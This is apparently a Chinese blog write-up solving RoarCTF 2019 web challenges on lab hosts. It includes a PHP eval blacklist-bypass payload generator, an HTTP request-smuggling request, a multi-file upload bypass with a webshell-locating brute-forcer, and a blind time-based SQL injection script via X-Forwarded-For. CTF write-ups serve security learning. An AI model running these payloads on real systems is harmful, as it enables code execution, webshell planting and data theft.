roarctf2019 web easycalc 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); if (!isset ($_GET ['num' ])){ show_source(__FILE__ ); }else { $str = $_GET ['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem ) { if (preg_match('/' . $blackitem . '/m' , $str )) { die ("what are you want to do?" ); } } eval ('echo ' .$str .';' ); } ?>
解法一 肝就完事 强行绕过限制
关键:((10000000000000).(0)){3}
=>E
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 arr={ "0" :'''((0).(0)){0}''' , "1" :'''((1).(0)){0}''' , "2" :'''((2).(0)){0}''' , "3" :'''((3).(0)){0}''' , "4" :'''((4).(0)){0}''' , "5" :'''((5).(0)){0}''' , "6" :'''((6).(0)){0}''' , "7" :'''((7).(0)){0}''' , "8" :'''((8).(0)){0}''' , "9" :'''((9).(0)){0}''' , "-" : "((-1).(0)){0}" , "." :"((1.1).(0)){1}" , "E" : "((10000000000000000000).(1)){3}" , "p" :"((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))" , "$" :"((((-1).(0)){0})&(((4).(0)){0}))" , "l" :"((((-1).(0)){0})&(((4).(0)){0}))|(~((0).(0)){0})&~((~((8).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))" , "H" : "(~((0).(0)){0})&~((~((8).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))" , "Z" : "(~(((((-1).(0)){0})&(((4).(0)){0}))))&(~((~(((8).(0)){0}))&((~(((2).(0)){0}))&(~(((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))))" , "v" :"(((2).(0)){0})|((~((1).(0)){0})&((10000000000000000000).(1)){3})" , "D" :"(~((1).(0)){0})&((10000000000000000000).(1)){3}" , "A" :"(~((2).(0)){0})&(~((~((1).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))" , "P" :"(~((1.1).(0)){1})&((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))" , "O" :"(~((0).(0)){0})&(~((~((8).(0)){0})&((~((2).(0)){0})&(~((10000000000000000000).(1)){3}))))" , "S" :"(~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((2).(0)){0})&(~((10000000000000000000).(1)){3})))" , "U" :"(((10000000000000000000).(1)){3})|((~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((1).(0)){0})&(~((1.1).(0)){2}))))" , "_" :"((10000000000000000000).(1)){3}|(((~((((-1).(0)){0})&(((4).(0)){0})))&(~((~((1).(0)){0})&(~((1.1).(0)){1})))))" , "T" :"(~(((1).(0)){0}&(~((2).(0)){0})))&(~((~((10000000000000000000).(1)){3})&(~(((1).(0)){0}&(~((1.1).(0)){1})))))" , "I" :"(~(((0).(0)){0}))&(~((~((8).(0)){0})&((~((1).(0)){0})&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))))" , "N" :"(~((0).(0)){0})&(~((~((8).(0)){0})&((~(((2).(0)){0}))&(~((~((1).(0)){0})&((10000000000000000000).(1)){3})))))" , "f" :"((((-1).(0)){0})&(((4).(0)){0}))|((~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))))))" , "B" :"(~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))" , "r" :"(~((~(((2).(0)){0}))&(~((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))))" , "[" :"(~(((((-1).(0)){0})&(((4).(0)){0}))))&(~((~((8).(0)){0})&((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3})))))" , "]" :"(((10000000000000000000).(1)){3})|((((8).(0)){0})&(~(((((-1).(0)){0})&(((4).(0)){0})))))" , "C" :"(~(((4).(0)){0}))&(~((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3}))))" , "M" :"(~(((0).(0)){0}))&(~((~(((8).(0)){0}))&(~(((10000000000000000000).(1)){3}))))" , "\\" :"(~(((((1).(0)){0}))&(~(((2).(0)){0})))&~((~(((10000000000000000000).(1)){3}))&~((((8).(0)){0})&(~(((((-1).(0)){0})&(((4).(0)){0})))))))" , "/" :"((((1.1).(0)){1})|(((-1).(0)){0}))" , "G" :"(~(((8).(0)){0}))&(~((~(((2).(0)){0}))&(~(((10000000000000000000).(1)){3}))))" , "g" :"(((10000000000000000000).(1)){3})|((((2).(0)){0})&(((1.1).(0)){1}))" , "a" :"((((1).(0)){0})&((~((2).(0)){0})))|((((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1})))&(~((((1).(0)){0})&(~(((1.1).(0)){1})))))" } s="scandir" def topayload (s ): result="" for i in s: if (i in arr): result+=("(" +arr[i]+")" +"." ) continue if (i.upper() in arr): result+=("(" +arr[i.upper()]+")" +"." ) continue if (i.lower() in arr): result+=("(" +arr[i.lower()]+")" +"." ) return result[:-1 ] def tomethod (meth,para,c=True ): if c: return "(" +topayload(meth)+")(" +topayload(para)+")" else : return "(" +topayload(meth)+")(" +(para)+")" print (tomethod("var_dump" ,tomethod("file" ,"/f1agg" ),False ))
解法二 HTTP走私 http走私请看:https://paper.seebug.org/1048/
这题php禁用了 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '反引号', '\[', '\]','\$','\\','\^'];
apache再禁用了字母和不可打印字符
后来看别人的wp知道了,虽然服务器返回400,但是还会将请求转发给后端,标准的http走私
真几把神奇,刚看到http走私的时候我还以为是前后端对content-type的解析不同
结合getallheads来绕过php字符限制
最后payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /calc.php?num=eval(end(getallheaders())); HTTP/1.1 Host: node3.buuoj.cn:28023 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Referer: http://node3.buuoj.cn:28023/ Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 422 Content-Length: 0 A: var_dump(file_get_contents("/f1agg"));
解法三 利用php字符串解析特性绕过apache waf php字符串解析特性
当我们发送这样一个请求是:?%20num=123
apache的检查规则只能匹配到num,而这个请求在php却会被解析为$_GET[‘num’]最后成功绕过apache的waf
Easy Java 扫目录发现一个Download,去登入界面查找一下download,发现Download?filename=help.docx
可是无论下什么也不行,看了别人的wp发现post就可以233333
接下来就简单了,因为这是一个tomcat的网站
贴一个tomcat的结构图
先去查看一下WEB-INF/web.xml
发现
1 2 3 4 <servlet > <servlet-name > FlagController</servlet-name > <servlet-class > com.wm.ctf.FlagController</servlet-class > </servlet >
于是去WEB-INF/classes/com/wm/ctf/FlagController.class
查看,发现一个base64编码的字符串
simple_upload 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source(__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES ['file' ] ; $_FILES ['file' ]['name' ] if (strstr(strtolower($uploadFile ['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload ->maxSize = 4096 ; $upload ->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload ->rootPath = './Public/Uploads/' ; $upload ->savePath = '' ; $info = $upload ->upload() ; if (!$info ) { $this ->error($upload ->getError()); return ; }else { $url = __ROOT__.substr($upload ->rootPath,1 ).$info ['file' ]['savepath' ].$info ['file' ]['savename' ] ; echo json_encode(array ("url" =>$url ,"success" =>1 )); } } }
解法一 thinkphp漏洞 利用Think\Controller,\Think\Upload()
等关键字查询到该thinkphp版本大致在3.2.x,这里我去找了3.2.3的源码
阅读文件上传部分代码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php .... public function upload ($files = '' ) { if ('' === $files ) { $files = $_FILES ; } ..... $files = $this ->dealFiles($files ); foreach ($files as $key => $file ) { $file ['name' ] = strip_tags($file ['name' ]); if (!isset ($file ['key' ])) { $file ['key' ] = $key ; } .... } .... ?>
这里注意到有个strip_tags,查询文档 从字符串中去除 HTML 和 PHP 标记
ok,成功找到绕过后缀名限制的方法
成功getflag美滋滋
解法二 上传多个文件绕过后缀名检测 大佬们太强了/fad/fad
1 2 3 4 $uploadFile = $_FILES ['file' ] ; if (strstr(strtolower($uploadFile ['name' ]), ".php" ) ) { return false ; }
如果上传多个文件, $uploadFile内包含多个文件,strstr(strtolower($uploadFile['name']), ".php")
自然也就无效了,接下来就是获取文件名,就可以getshell,因为thinkphp文件名是递增的,所以也就很容易获取到想要的文件了
1 2 3 4 5 6 7 8 9 10 11 12 import requests url="http://aba32602-5c6b-4a9f-bfa6-bbf2ca660f7e.node3.buuoj.cn/Public/Uploads/2019-10-18/" i=(int("5da9dd208595a",16)+1) while True: print(url+hex(i)[2:]+".php") res=requests.get(url+hex(i)[2:]+".php") print(res.status_code) if(res.status_code==200): print(url+hex(i)[2:]+".php") break i+=1
虽然说可以爆出来,不过也要跑好一会
Online Proxy 利用libcurl和paras_url的差异来判断
http://node3.buuoj.cn:28001/?url=http://[email protected] @ccccccccccccc.com
200
http://node3.buuoj.cn:28001/?url=http://[email protected] @39.108.164.219
504
而访问http://node3.buuoj.cn:28001/?url=http://39.108.164.219
也是504,所以有可能使用file_get_contents来访问url
刚开始一直盯着url,后面看到收集信息,99%是sql注入的题
就是不知道要收集什么信息
这题虽然是sql注入,但比较操蛋的是,sql注入的是last ip
因为这个加上自己的懒惰让我搞了8-9个小时,因小失大/fad
题目提示会收集信息,能收集的大概也就是ip地址
于是找到x-forward-for http注入,虽然说的轻松,但是我完全找了好久还加上了wp的帮助
emmmm直接扔脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import requestsimport stringimport randomimport timeimport sysdef rand_str (length=8 ): return '' .join(random.sample(string.ascii_letters + string.digits, length)) ii=0 def curl_url (sql ): global ii headers={ "Host" :"node3.buuoj.cn:28645" , "Cache-Control" :"max-age=0" , "X-Forwarded-For" :"" , "Upgrade-Insecure-Requests" :"1" , "User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36" , "Accept" :"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" , "Accept-Language" :"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" :"close" } cookies={"track_uuid" :"1e3b12a4-60f8-4778-a0b7-%s;" % rand_str()} url="http://node3.buuoj.cn:28841?url=http://127.0.0.1" while True : headers["X-Forwarded-For" ]="clear" +str (ii) try : res= requests.get(url,headers=headers,cookies=cookies,timeout=3 ) except : pass if "Last Ip: clear" in res.text: break ii+=1 headers["X-Forwarded-For" ]="1'+if(" +sql+",sleep(10),0)+'" +str (ii) res= requests.get(url,headers=headers,cookies=cookies,timeout=3 ) while True : ii+=1 headers["X-Forwarded-For" ]="clear" +str (ii) try : res= requests.get(url,headers=headers,cookies=cookies,timeout=3 ) except : return 1 if sql not in res.text: curl_url(sql) return 0 sql="(substr(hex((select GROUP_CONCAT(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e )),INDEX,1))='GUESS'" result="696e666f726d6174696f6e5f736368656d612c746573742c6d7973716c2c637466747261696e696e672c706572666F726D616E63655F736368656D612c46346c395" result="666c61677b47317a6a316e5f57346e74355f345f393172115" index=len (result) while True : index+=1 for i in range (16 ): ii+=1 tmp=sql.replace("INDEX" ,str (index)).replace("GUESS" ,hex (i)[2 :]) if curl_url(tmp): result+=hex (i)[2 :] print (result) break print ("第" +str (index)+"不是" +hex (i)[2 :])